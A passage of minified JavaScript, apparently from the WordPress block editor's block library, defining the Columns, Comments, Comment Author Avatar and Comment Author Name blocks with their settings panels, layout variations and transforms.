e={...a,isStackedOnMobile:!0},[e,t]},save({attributes:e}){let{verticalAlignment:t,columns:r}=e,a=w(`has-${r}-columns`,{[`are-vertically-aligned-${t}`]:t});return(0,Tp.jsx)("div",{className:a,children:(0,Tp.jsx)(Pp.InnerBlocks.Content,{})})}}];var Bp=o(I(),1),Wi=o(A(),1),Rr=o(T(),1),Gi=o(z(),1),Ip=o(U(),1);var uk=e=>{let t=parseFloat(e);return Number.isFinite(t)?parseFloat(t.toFixed(2)):void 0};function rH(e,t){let{width:r=100/t}=e.attributes;return uk(r)}function _ge(e,t=e.length){return e.reduce((r,a)=>r+rH(a,t),0)}function kge(e,t=e.length){return e.reduce((r,a)=>{let n=rH(a,t);return Object.assign(r,{[a.clientId]:n})},{})}function TI(e,t,r=e.length){let a=_ge(e,r);return Object.fromEntries(Object.entries(kge(e,r)).map(([n,i])=>{let l=t*i/a;return[n,uk(l)]}))}function oH(e){return e.every(t=>{let r=t.attributes.width;return Number.isFinite(r?.endsWith?.("%")?parseFloat(r):r)})}function PI(e,t){return e.map(r=>({...r,attributes:{...r.attributes,width:`${t[r.clientId]}%`}}))}var io=o(v(),1),wge={name:"core/column"};function Cge({clientId:e,setAttributes:t,isStackedOnMobile:r}){let{count:a,canInsertColumnBlock:n,minCount:i}=(0,Gi.useSelect)(m=>{let{canInsertBlockType:p,canRemoveBlock:d,getBlockOrder:f}=m(Rr.store),h=f(e),g=h.reduce((b,y,_)=>(d(y)||b.push(_),b),[]);return{count:h.length,canInsertColumnBlock:p("core/column",e),minCount:Math.max(...g)+1}},[e]),{getBlocks:l}=(0,Gi.useSelect)(Rr.store),{replaceInnerBlocks:s}=(0,Gi.useDispatch)(Rr.store);function c(m,p){let d=l(e),f=oH(d),h=p>m;if(h&&f){let g=uk(100/p),b=p-m,y=TI(d,100-g*b);d=[...PI(d,y),...Array.from({length:b}).map(()=>(0,Ip.createBlock)("core/column",{width:`${g}%`}))]}else if(h)d=[...d,...Array.from({length:p-m}).map(()=>(0,Ip.createBlock)("core/column"))];else if(p<m&&(d=d.slice(0,-(m-p)),f)){let g=TI(d,100);d=PI(d,g)}s(e,d)}let u=W();return(0,io.jsxs)(Wi.__experimentalToolsPanel,{label:(0,Bp.__)("Settings"),resetAll:()=>{t({isStackedOnMobile:!0})},dropdownMenuProps:u,children:[n&&(0,io.jsxs)(Wi.__experimentalVStack,{spacing:4,style:{gridColumn:"1 / -1"},children:[(0,io.jsx)(Wi.RangeControl,{__next40pxDefaultSize:!0,label:(0,Bp.__)("Columns"),value:a,onChange:m=>c(a,Math.max(i,m)),min:Math.max(1,i),max:Math.max(6,a)}),a>6&&(0,io.jsx)(Wi.Notice,{status:"warning",isDismissible:!1,children:(0,Bp.__)("This column count exceeds the recommended amount and may cause visual breakage.")})]}),(0,io.jsx)(Wi.__experimentalToolsPanelItem,{label:(0,Bp.__)("Stack on mobile"),isShownByDefault:!0,hasValue:()=>r!==!0,onDeselect:()=>t({isStackedOnMobile:!0}),children:(0,io.jsx)(Wi.ToggleControl,{label:(0,Bp.__)("Stack on mobile"),checked:r,onChange:()=>t({isStackedOnMobile:!r})})})]})}function Sge({attributes:e,setAttributes:t,clientId:r}){let{isStackedOnMobile:a,verticalAlignment:n,templateLock:i}=e,l=(0,Gi.useRegistry)(),{getBlockOrder:s}=(0,Gi.useSelect)(Rr.store),{updateBlockAttributes:c}=(0,Gi.useDispatch)(Rr.store),u=w({[`are-vertically-aligned-${n}`]:n,"is-not-stacked-on-mobile":!a}),m=(0,Rr.useBlockProps)({className:u}),p=(0,Rr.useInnerBlocksProps)(m,{defaultBlock:wge,directInsert:!0,orientation:"horizontal",renderAppender:!1,templateLock:i});function d(f){let h=s(r);l.batch(()=>{t({verticalAlignment:f}),c(h,{verticalAlignment:f})})}return(0,io.jsxs)(io.Fragment,{children:[(0,io.jsx)(Rr.BlockControls,{children:(0,io.jsx)(Rr.BlockVerticalAlignmentToolbar,{onChange:d,value:n})}),(0,io.jsx)(Rr.InspectorControls,{children:(0,io.jsx)(Cge,{clientId:r,setAttributes:t,isStackedOnMobile:a})}),(0,io.jsx)("div",{...p})]})}function Tge({clientId:e,name:t,setAttributes:r}){let{blockType:a,defaultVariation:n,variations:i}=(0,Gi.useSelect)(c=>{let{getBlockVariations:u,getBlockType:m,getDefaultBlockVariation:p}=c(Ip.store);return{blockType:m(t),defaultVariation:p(t,"block"),variations:u(t,"block")}},[t]),{replaceInnerBlocks:l}=(0,Gi.useDispatch)(Rr.store),s=(0,Rr.useBlockProps)();return(0,io.jsx)("div",{...s,children:(0,io.jsx)(Rr.__experimentalBlockVariationPicker,{icon:a?.icon?.src,label:a?.title,variations:i,instructions:(0,Bp.__)("Divide into columns. Select a layout:"),onSelect:(c=n)=>{c.attributes&&r(c.attributes),c.innerBlocks&&l(e,(0,Ip.createBlocksFromInnerBlocksTemplate)(c.innerBlocks),!0)},allowSkip:!0})})}var Pge=e=>{let{clientId:t}=e,a=(0,Gi.useSelect)(n=>n(Rr.store).getBlocks(t).length>0,[t])?Sge:Tge;return(0,io.jsx)(a,{...e})},aH=Pge;var mk={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/columns",title:"Columns",category:"design",allowedBlocks:["core/column"],description:"Display content in multiple columns, with blocks added to each column.",textdomain:"default",attributes:{verticalAlignment:{type:"string"},isStackedOnMobile:{type:"boolean",default:!0},templateLock:{type:["string","boolean"],enum:["all","insert","contentOnly",!1]}},supports:{anchor:!0,align:["wide","full"],html:!1,color:{gradients:!0,link:!0,heading:!0,button:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{blockGap:{__experimentalDefault:"2em",sides:["horizontal","vertical"]},margin:["top","bottom"],padding:!0,__experimentalDefaultControls:{padding:!0,blockGap:!0}},layout:{allowSwitching:!1,allowInheriting:!1,allowEditing:!1,default:{type:"flex",flexWrap:"nowrap"}},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},shadow:!0},editorStyle:"wp-block-columns-editor",style:"wp-block-columns"};var pk=o(T(),1),nH=o(v(),1);function iH({attributes:e}){let{isStackedOnMobile:t,verticalAlignment:r}=e,a=w({[`are-vertically-aligned-${r}`]:r,"is-not-stacked-on-mobile":!t}),n=pk.useBlockProps.save({className:a}),i=pk.useInnerBlocksProps.save(n);return(0,nH.jsx)("div",{...i})}var xn=o(A(),1),ti=o(I(),1),ri=o(v(),1),Ige=[{name:"one-column-full",title:(0,ti.__)("100"),description:(0,ti.__)("One column"),icon:(0,ri.jsx)(xn.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"48",height:"48",viewBox:"0 0 48 48",children:(0,ri.jsx)(xn.Path,{d:"M0 10a2 2 0 0 1 2-2h44a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Z"})}),innerBlocks:[["core/column"]],scope:["block"]},{name:"two-columns-equal",title:(0,ti.__)("50 / 50"),description:(0,ti.__)("Two columns; equal split"),icon:(0,ri.jsx)(xn.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"48",height:"48",viewBox:"0 0 48 48",children:(0,ri.jsx)(xn.Path,{d:"M0 10a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm25 0a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H27a2 2 0 0 1-2-2V10Z"})}),isDefault:!0,innerBlocks:[["core/column"],["core/column"]],scope:["block"]},{name:"two-columns-one-third-two-thirds",title:(0,ti.__)("33 / 66"),description:(0,ti.__)("Two columns; one-third, two-thirds split"),icon:(0,ri.jsx)(xn.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"48",height:"48",viewBox:"0 0 48 48",children:(0,ri.jsx)(xn.Path,{d:"M0 10a2 2 0 0 1 2-2h11a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm17 0a2 2 0 0 1 2-2h27a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H19a2 2 0 0 1-2-2V10Z"})}),innerBlocks:[["core/column",{width:"33.33%"}],["core/column",{width:"66.66%"}]],scope:["block"]},{name:"two-columns-two-thirds-one-third",title:(0,ti.__)("66 / 33"),description:(0,ti.__)("Two columns; two-thirds, one-third split"),icon:(0,ri.jsx)(xn.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"48",height:"48",viewBox:"0 0 48 48",children:(0,ri.jsx)(xn.Path,{d:"M0 10a2 2 0 0 1 2-2h27a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm33 0a2 2 0 0 1 2-2h11a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H35a2 2 0 0 1-2-2V10Z"})}),innerBlocks:[["core/column",{width:"66.66%"}],["core/column",{width:"33.33%"}]],scope:["block"]},{name:"three-columns-equal",title:(0,ti.__)("33 / 33 / 33"),description:(0,ti.__)("Three columns; equal split"),icon:(0,ri.jsx)(xn.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"48",height:"48",viewBox:"0 0 48 48",children:(0,ri.jsx)(xn.Path,{d:"M0 10a2 2 0 0 1 2-2h10.531c1.105 0 1.969.895 1.969 2v28c0 1.105-.864 2-1.969 2H2a2 2 0 0 1-2-2V10Zm16.5 0c0-1.105.864-2 1.969-2H29.53c1.105 0 1.969.895 1.969 2v28c0 1.105-.864 2-1.969 2H18.47c-1.105 0-1.969-.895-1.969-2V10Zm17 0c0-1.105.864-2 1.969-2H46a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H35.469c-1.105 0-1.969-.895-1.969-2V10Z"})}),innerBlocks:[["core/column"],["core/column"],["core/column"]],scope:["block"]},{name:"three-columns-wider-center",title:(0,ti.__)("25 / 50 / 25"),description:(0,ti.__)("Three columns; wide center column"),icon:(0,ri.jsx)(xn.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"48",height:"48",viewBox:"0 0 48 48",children:(0,ri.jsx)(xn.Path,{d:"M0 10a2 2 0 0 1 2-2h7.531c1.105 0 1.969.895 1.969 2v28c0 1.105-.864 2-1.969 2H2a2 2 0 0 1-2-2V10Zm13.5 0c0-1.105.864-2 1.969-2H32.53c1.105 0 1.969.895 1.969 2v28c0 1.105-.864 2-1.969 2H15.47c-1.105 0-1.969-.895-1.969-2V10Zm23 0c0-1.105.864-2 1.969-2H46a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2h-7.531c-1.105 0-1.969-.895-1.969-2V10Z"})}),innerBlocks:[["core/column",{width:"25%"}],["core/column",{width:"50%"}],["core/column",{width:"25%"}]],scope:["block"]}],lH=Ige;var Rf=o(U(),1),Ege=6,Nge={from:[{type:"block",isMultiBlock:!0,blocks:["*"],__experimentalConvert:e=>{let t=+(100/e.length).toFixed(2),r=e.map(({name:a,attributes:n,innerBlocks:i})=>["core/column",{width:`${t}%`},[[a,{...n},i]]]);return(0,Rf.createBlock)("core/columns",{},(0,Rf.createBlocksFromInnerBlocksTemplate)(r))},isMatch:({length:e},t)=>t.length===1&&t[0].name==="core/columns"?!1:e&&e<=Ege},{type:"block",blocks:["core/media-text"],priority:1,transform:(e,t)=>{let{align:r,backgroundColor:a,textColor:n,style:i,mediaAlt:l,mediaId:s,mediaPosition:c,mediaSizeSlug:u,mediaType:m,mediaUrl:p,mediaWidth:d,verticalAlignment:f}=e,h;if(m==="image"||!m){let b={id:s,alt:l,url:p,sizeSlug:u},y={href:e.href,linkClass:e.linkClass,linkDestination:e.linkDestination,linkTarget:e.linkTarget,rel:e.rel};h=["core/image",{...b,...y}]}else h=["core/video",{id:s,src:p}];let g=[["core/column",{width:`${d}%`},[h]],["core/column",{width:`${100-d}%`},t]];return c==="right"&&g.reverse(),(0,Rf.createBlock)("core/columns",{align:r,backgroundColor:a,textColor:n,style:i,verticalAlignment:f},(0,Rf.createBlocksFromInnerBlocksTemplate)(g))}}],ungroup:(e,t)=>t.flatMap(r=>r.innerBlocks)},sH=Nge;var{name:cH}=mk,uH={icon:i9,variations:lH,example:{viewportWidth:782,innerBlocks:[{name:"core/column",innerBlocks:[{name:"core/paragraph",attributes:{content:(0,z1.__)("Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent et eros eu felis.")}},{name:"core/image",attributes:{url:"https://s.w.org/images/core/5.3/Windbuchencom.jpg"}},{name:"core/paragraph",attributes:{content:(0,z1.__)("Suspendisse commodo neque lacus, a dictum orci interdum et.")}}]},{name:"core/column",innerBlocks:[{name:"core/paragraph",attributes:{content:(0,z1.__)("Etiam et egestas lorem. Vivamus sagittis sit amet dolor quis lobortis. Integer sed fermentum arcu, id vulputate lacus. Etiam fermentum sem eu quam hendrerit.")}},{name:"core/paragraph",attributes:{content:(0,z1.__)("Nam risus massa, ullamcorper consectetur eros fermentum, porta aliquet ligula. Sed vel mauris nec enim.")}}]}]},deprecated:tH,edit:aH,save:iH,transforms:sH},Dge=()=>N({name:cH,metadata:mk,settings:uH});var DI={};q(DI,{init:()=>Vge,metadata:()=>dk,name:()=>BH,settings:()=>IH});var dk={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/comments",title:"Comments",category:"theme",description:"An advanced block that allows displaying post comments using different visual configurations.",textdomain:"default",attributes:{tagName:{type:"string",default:"div"},legacy:{type:"boolean",default:!1}},supports:{anchor:!0,align:["wide","full"],html:!1,color:{gradients:!0,heading:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},editorStyle:"wp-block-comments-editor",usesContext:["postId","postType"]};var fk=o(T(),1),II=o(v(),1),Mge={attributes:{tagName:{type:"string",default:"div"}},apiVersion:3,supports:{align:["wide","full"],html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}}},save({attributes:{tagName:e}}){let t=fk.useBlockProps.save(),{className:r}=t,n=(r?.split(" ")||[])?.filter(l=>l!=="wp-block-comments"),i={...t,className:n.join(" ")};return(0,II.jsx)(e,{...i,children:(0,II.jsx)(fk.InnerBlocks.Content,{})})}},mH=[Mge];var bk=o(T(),1);var pH=o(I(),1),V1=o(T(),1);var hk=o(v(),1),{HTMLElementControl:Age}=Z(V1.privateApis);function dH({attributes:{tagName:e},setAttributes:t}){return(0,hk.jsx)(V1.InspectorControls,{children:(0,hk.jsx)(V1.InspectorControls,{group:"advanced",children:(0,hk.jsx)(Age,{tagName:e,onChange:r=>t({tagName:r}),options:[{label:(0,pH.__)("Default (<div>)"),value:"div"},{label:"<section>",value:"section"},{label:"<aside>",value:"aside"}]})})})}var Zu=o(T(),1),NI=o(I(),1),kH=o(A(),1);var vH=o(T(),1),lo=o(I(),1),bH=o(z(),1),yH=o(Y(),1),xH=o(j(),1);var $i=o(I(),1),qu=o(T(),1),fH=o(A(),1),hH=o(ue(),1),gk=o(Y(),1),EI=o(z(),1),Ua=o(v(),1),gH=()=>{let e=(0,hH.useInstanceId)(gH);return(0,Ua.jsxs)("div",{className:"comment-respond",children:[(0,Ua.jsx)("h3",{className:"comment-reply-title",children:(0,$i.__)("Leave a Reply")}),(0,Ua.jsxs)("form",{noValidate:!0,className:"comment-form",onSubmit:t=>t.preventDefault(),children:[(0,Ua.jsxs)("p",{children:[(0,Ua.jsx)("label",{htmlFor:`comment-${e}`,children:(0,$i.__)("Comment")}),(0,Ua.jsx)("textarea",{id:`comment-${e}`,name:"comment",cols:"45",rows:"8",readOnly:!0})]}),(0,Ua.jsx)("p",{className:"form-submit wp-block-button",children:(0,Ua.jsx)("input",{name:"submit",type:"submit",className:w("wp-block-button__link",(0,qu.__experimentalGetElementClassName)("button")),label:(0,$i.__)("Post Comment"),value:(0,$i.__)("Post Comment"),"aria-disabled":"true"})})]})]})},Rge=({postId:e,postType:t})=>{let[r,a]=(0,gk.useEntityProp)("postType",t,"comment_status",e),n=t===void 0||e===void 0,i=(0,EI.useSelect)(s=>s(qu.store).getSettings().__experimentalDiscussionSettings?.defaultCommentStatus,[]),l=(0,EI.useSelect)(s=>t?!!s(gk.store).getPostType(t)?.supports.comments:!1);if(!n&&r!=="open")if(r==="closed"){let s=[(0,Ua.jsx)(fH.Button,{__next40pxDefaultSize:!0,onClick:()=>a("open"),variant:"primary",children:(0,$i._x)("Enable comments","action that affects the current post")},"enableComments")];return(0,Ua.jsx)(qu.Warning,{actions:s,children:(0,$i.__)("Post Comments Form block: Comments are not enabled for this item.")})}else if(l){if(i!=="open")return(0,Ua.jsx)(qu.Warning,{children:(0,$i.__)("Post Comments Form block: Comments are not enabled.")})}else return(0,Ua.jsx)(qu.Warning,{children:(0,$i.sprintf)((0,$i.__)("Post Comments Form block: Comments are not enabled for this post type (%s)."),t)});return(0,Ua.jsx)(gH,{})},vk=Rge;var nt=o(v(),1);function _H({postType:e,postId:t}){let[r]=(0,yH.useEntityProp)("postType",e,"title",t);r=r||(0,lo.__)("Post Title");let a=(0,bH.useSelect)(n=>n(vH.store).getSettings().__experimentalDiscussionSettings?.avatarURL,[]);return(0,nt.jsxs)("div",{className:"wp-block-comments__legacy-placeholder",inert:"true",children:[(0,nt.jsx)("h3",{children:(0,lo.sprintf)((0,lo.__)("One response to %s"),r)}),(0,nt.jsxs)("div",{className:"navigation",children:[(0,nt.jsx)("div",{className:"alignleft",children:(0,nt.jsxs)("a",{href:"#top",children:["\xAB ",(0,lo.__)("Older Comments")]})}),(0,nt.jsx)("div",{className:"alignright",children:(0,nt.jsxs)("a",{href:"#top",children:[(0,lo.__)("Newer Comments")," \xBB"]})})]}),(0,nt.jsx)("ol",{className:"commentlist",children:(0,nt.jsx)("li",{className:"comment even thread-even depth-1",children:(0,nt.jsxs)("article",{className:"comment-body",children:[(0,nt.jsxs)("footer",{className:"comment-meta",children:[(0,nt.jsxs)("div",{className:"comment-author vcard",children:[(0,nt.jsx)("img",{alt:(0,lo.__)("Commenter Avatar"),src:a,className:"avatar avatar-32 photo",height:"32",width:"32",loading:"lazy"}),(0,nt.jsx)("b",{className:"fn",children:(0,nt.jsx)("a",{href:"#top",className:"url",children:(0,lo.__)("A WordPress Commenter")})})," ",(0,nt.jsxs)("span",{className:"says",children:[(0,lo.__)("says"),":"]})]}),(0,nt.jsxs)("div",{className:"comment-metadata",children:[(0,nt.jsx)("a",{href:"#top",children:(0,nt.jsx)("time",{dateTime:"2000-01-01T00:00:00+00:00",children:(0,lo.__)("January 1, 2000 at 00:00 am")})})," ",(0,nt.jsx)("span",{className:"edit-link",children:(0,nt.jsx)("a",{className:"comment-edit-link",href:"#top",children:(0,lo.__)("Edit")})})]})]}),(0,nt.jsx)("div",{className:"comment-content",children:(0,nt.jsxs)("p",{children:[(0,lo.__)("Hi, this is a comment."),(0,nt.jsx)("br",{}),(0,lo.__)("To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard."),(0,nt.jsx)("br",{}),(0,xH.createInterpolateElement)((0,lo.__)("Commenter avatars come from <a>Gravatar</a>."),{a:(0,nt.jsx)("a",{href:"https://gravatar.com/"})})]})}),(0,nt.jsx)("div",{className:"reply",children:(0,nt.jsx)("a",{className:"comment-reply-link",href:"#top","aria-label":(0,lo.__)("Reply to A WordPress Commenter"),children:(0,lo.__)("Reply")})})]})})}),(0,nt.jsxs)("div",{className:"navigation",children:[(0,nt.jsx)("div",{className:"alignleft",children:(0,nt.jsxs)("a",{href:"#top",children:["\xAB ",(0,lo.__)("Older Comments")]})}),(0,nt.jsx)("div",{className:"alignright",children:(0,nt.jsxs)("a",{href:"#top",children:[(0,lo.__)("Newer Comments")," \xBB"]})})]}),(0,nt.jsx)(vk,{postId:t,postType:e})]})}var Bl=o(v(),1);function wH({attributes:e,setAttributes:t,context:{postType:r,postId:a}}){let{textAlign:n}=e,i=[(0,Bl.jsx)(kH.Button,{__next40pxDefaultSize:!0,onClick:()=>{t({legacy:!1})},variant:"primary",children:(0,NI.__)("Switch to editable mode")},"convert")],l=(0,Zu.useBlockProps)({className:w({[`has-text-align-${n}`]:n})});return(0,Bl.jsxs)(Bl.Fragment,{children:[(0,Bl.jsx)(Zu.BlockControls,{group:"block",children:(0,Bl.jsx)(Zu.AlignmentControl,{value:n,onChange:s=>{t({textAlign:s})}})}),(0,Bl.jsxs)("div",{...l,children:[(0,Bl.jsx)(Zu.Warning,{actions:i,children:(0,NI.__)("Comments block: You\u2019re currently using the legacy version of the block. The following is just a placeholder - the final styling will likely look different. For a better representation and more customization options, switch the block to its editable mode.")}),(0,Bl.jsx)(_H,{postId:a,postType:r})]})]})}var zge=[["core/comments-title"],["core/comment-template",{},[["core/columns",{},[["core/column",{width:"40px"},[["core/avatar",{size:40,style:{border:{radius:"20px"}}}]]],["core/column",{},[["core/comment-author-name",{fontSize:"small"}],["core/group",{layout:{type:"flex"},style:{spacing:{margin:{top:"0px",bottom:"0px"}}}},[["core/comment-date",{fontSize:"small"}],["core/comment-edit-link",{fontSize:"small"}]]],["core/comment-content"],["core/comment-reply-link",{fontSize:"small"}]]]]]]],["core/comments-pagination"],["core/post-comments-form"]],CH=zge;var Ku=o(v(),1);function SH(e){let{attributes:t,setAttributes:r,clientId:a}=e,{tagName:n,legacy:i}=t,l=(0,bk.useBlockProps)(),s=(0,bk.useInnerBlocksProps)(l,{template:CH});return i?(0,Ku.jsx)(wH,{...e}):(0,Ku.jsxs)(Ku.Fragment,{children:[(0,Ku.jsx)(dH,{attributes:t,setAttributes:r,clientId:a}),(0,Ku.jsx)(n,{...s})]})}var yk=o(T(),1),TH=o(v(),1);function PH({attributes:{tagName:e,legacy:t}}){let r=yk.useBlockProps.save(),a=yk.useInnerBlocksProps.save(r);return t?null:(0,TH.jsx)(e,{...a})}var{name:BH}=dk,IH={icon:sP,example:{},edit:SH,save:PH,deprecated:mH},Vge=()=>N({name:BH,metadata:dk,settings:IH});var MI={};q(MI,{init:()=>Oge,metadata:()=>xk,name:()=>DH,settings:()=>LH});var xk={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,__experimental:"fse",name:"core/comment-author-avatar",title:"Comment Author Avatar (deprecated)",category:"theme",ancestor:["core/comment-template"],description:"This block is deprecated. Please use the Avatar block instead.",textdomain:"default",attributes:{width:{type:"number",default:96},height:{type:"number",default:96}},usesContext:["commentId"],supports:{html:!1,inserter:!1,__experimentalBorder:{radius:!0,width:!0,color:!0,style:!0},color:{background:!0,text:!1,__experimentalDefaultControls:{background:!0}},spacing:{__experimentalSkipSerialization:!0,margin:!0,padding:!0},interactivity:{clientNavigation:!0}}};var Qu=o(T(),1),zf=o(A(),1),LI=o(Y(),1),EH=o(z(),1),Ep=o(I(),1),Il=o(v(),1);function NH({attributes:e,context:{commentId:t},setAttributes:r,isSelected:a}){let{height:n,width:i}=e,[l]=(0,LI.useEntityProp)("root","comment","author_avatar_urls",t),[s]=(0,LI.useEntityProp)("root","comment","author_name",t),c=l?Object.values(l):null,u=l?Object.keys(l):null,m=u?u[0]:24,p=u?u[u.length-1]:96,d=(0,Qu.useBlockProps)(),f=(0,Qu.__experimentalGetSpacingClassesAndStyles)(e),h=Math.floor(p*2.5),g=(0,EH.useSelect)(_=>{let{__experimentalDiscussionSettings:x}=_(Qu.store).getSettings();return x?.avatarURL},[]),b=(0,Il.jsx)(Qu.InspectorControls,{children:(0,Il.jsx)(zf.PanelBody,{title:(0,Ep.__)("Settings"),children:(0,Il.jsx)(zf.RangeControl,{__next40pxDefaultSize:!0,label:(0,Ep.__)("Image size"),onChange:_=>r({width:_,height:_}),min:m,max:h,initialPosition:i,value:i})})}),y=(0,Il.jsx)(zf.ResizableBox,{size:{width:i,height:n},showHandle:a,onResizeStop:(_,x,k,S)=>{r({height:parseInt(n+S.height,10),width:parseInt(i+S.width,10)})},lockAspectRatio:!0,enable:{top:!1,right:!(0,Ep.isRTL)(),bottom:!0,left:(0,Ep.isRTL)()},minWidth:m,maxWidth:h,children:(0,Il.jsx)("img",{src:c?c[c.length-1]:g,alt:`${s} ${(0,Ep.__)("Avatar")}`,...d})});return(0,Il.jsxs)(Il.Fragment,{children:[b,(0,Il.jsx)("div",{...f,children:y})]})}var{name:DH}=xk,LH={icon:T0,edit:NH},Oge=()=>N({name:DH,metadata:xk,settings:LH});var AI={};q(AI,{init:()=>Gge,metadata:()=>_k,name:()=>VH,settings:()=>FH});var _k={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/comment-author-name",title:"Comment Author Name",category:"theme",ancestor:["core/comment-template"],description:"Displays the name of the author of the comment.",textdomain:"default",attributes:{isLink:{type:"boolean",default:!0},linkTarget:{type:"string",default:"_self"}},usesContext:["commentId"],supports:{anchor:!0,html:!1,spacing:{margin:!0,padding:!0},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},style:"wp-block-comment-author-name"};var Ac=o(I(),1),MH=o(z(),1),kk=o(T(),1),AH=o(Y(),1),Yu=o(A(),1);var oi=o(v(),1);function RH(e){let{attributes:{isLink:t,linkTarget:r},context:{commentId:a},setAttributes:n}=e;St(e);let i=W(),l=(0,kk.useBlockProps)(),s=(0,MH.useSelect)(m=>{let{getEntityRecord:p}=m(AH.store),d=p("root","comment",a),f=d?.author_name;return d&&!f?p("root","user",d.author)?.name??(0,Ac.__)("Anonymous"):f??""},[a]),c=(0,oi.jsx)(kk.InspectorControls,{children:(0,oi.jsxs)(Yu.__experimentalToolsPanel,{label:(0,Ac.__)("Settings"),resetAll:()=>{n({isLink:!0,linkTarget:"_self"})},dropdownMenuProps:i,children:[(0,oi.jsx)(Yu.__experimentalToolsPanelItem,{label:(0,Ac.__)("Link to authors URL"),isShownByDefault:!0,hasValue:()=>!t,onDeselect:()=>n({isLink:!0}),children:(0,oi.jsx)(Yu.ToggleControl,{label:(0,Ac.__)("Link to authors URL"),onChange:()=>n({isLink:!t}),checked:t})}),t&&(0,oi.jsx)(Yu.__experimentalToolsPanelItem,{label:(0,Ac.__)("Open in new tab"),isShownByDefault:!0,hasValue:()=>r!=="_self",onDeselect:()=>n({linkTarget:"_self"}),children:(0,oi.jsx)(Yu.ToggleControl,{label:(0,Ac.__)("Open in new tab"),onChange:m=>n({linkTarget:m?"_blank":"_self"}),checked:r==="_blank"})})]})});return(!a||!s)&&(s=(0,Ac._x)("Comment Author","block title")),(0,oi.jsxs)(oi.Fragment,{children:[c,(0,oi.jsx)("div",{...l,children:t?(0,oi.jsx)("a",{href:"#comment-author-pseudo-link",onClick:m=>m.preventDefault(),children:s}):s})]})}var jge={attributes:{isLink:{type:"boolean",default:!0},linkTarget:{type:"string",default:"_self"},textAlign:{type:"string"}},usesContext:["commentId"],supports:{html:!1,spacing:{margin:!0,padding:!0},color:{gradients:!0,link:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0}},save(){return null},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)}},Uge={attributes:{isLink:{type:"boolean",default:!1},linkTarget:{type:"string",default:"_self"}},supports:{html:!1,color:{gradients:!0,link:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalLetterSpacing:!0}},save(){return null},migrate:jt,isEligible({style:e}){return e?.typography?.fontFamily}},zH=[jge,Uge];var{name:VH}=_k,FH={icon:s9,edit:RH,deprecated:zH,example:{}},Gge=()=>N({name:VH,metadata:_k,settings:FH});var RI={};q(RI,{init:()=>qge,metadata:()=>wk,name:()=>qH,settings:()=>ZH});var wk={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/comment-content",title:"Comment Content",category:"theme",ancestor:["core/comment-template"],description:"Displays the contents of a 